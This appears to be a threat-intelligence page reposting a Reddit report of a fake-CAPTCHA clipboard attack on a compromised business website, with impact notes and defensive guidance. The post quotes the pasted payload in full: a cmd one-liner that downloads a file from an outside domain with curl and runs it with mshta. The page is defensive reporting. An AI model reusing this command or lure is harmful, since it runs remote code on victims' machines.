NewsPublished 2 Jun 2026

ClickJack in the wild

Source Reddit Cybersecurity

Discussion

A Clickjacking attack has been observed in the wild involving a compromised local business website. The attack attempts to trick users into executing a command via clipboard manipulation, masquerading as a CAPTCHA challenge. The clipboard content includes a command that downloads and executes a script from an external domain using curl and mshta. The report is based on a Reddit post with minimal technical details and no confirmed exploits beyond the observation. No patch or official remediation guidance is provided. Users should be aware of suspicious clipboard requests and avoid executing unknown commands.

r/cybersecurity (opens in a new tab)u/OneEyedC4t0 points0 comments

So I noticed a ClickJack exploit in the wild today. A local business's website must be compromised because it tried to ask me to Win+R and paste, etc. as (it claims) is part of Captcha. I provided what it put in the clipboard. This was at work. Stay aware and stay safe everyone! ~~I blurred out the compromised website but not the attack vector.~~

Nevermind, y'all don't allow photos.

In the clipboard it put (without the caret symbol escapes)

%COMSPEC% /c start "" /min %COMSPEC% /c "(for /f "delims= " %w ('echo %LocalAppData%\Gt.max') do curl -skLo "%w" modernanchorengine.com/ps && mshta "%w")"

Impact

If successful, the attack could lead to execution of arbitrary code on the victim's machine via the downloaded script, potentially compromising the system. The attack relies on social engineering to convince users to run clipboard-pasted commands, which may result in unauthorized system access or malware installation. There is no evidence of automated exploitation or widespread impact at this time.

Defensive guidance

Users should avoid executing commands received via clipboard prompts, especially those requesting use of system commands like Win+R and paste. Security awareness training to recognize social engineering attempts and suspicious clipboard activity is recommended. Monitor for compromised websites and avoid interacting with suspicious CAPTCHA-like prompts.

Summary

This threat involves a Clickjacking attack observed on a compromised website that attempts to deceive users into running a command copied to their clipboard. The command downloads a file from modernanchorengine.com and executes it using mshta, potentially leading to remote code execution. The information is sourced from a Reddit post describing the attack vector but lacks detailed technical analysis or confirmation of widespread exploitation. No affected software versions or vendor advisories are available.

References

Community reviews

Loading reviews…

Discussion

AI analysisMachine-generated, updated 2 Jun 2026, 01:48 UTC

Technical details

References

Community reviews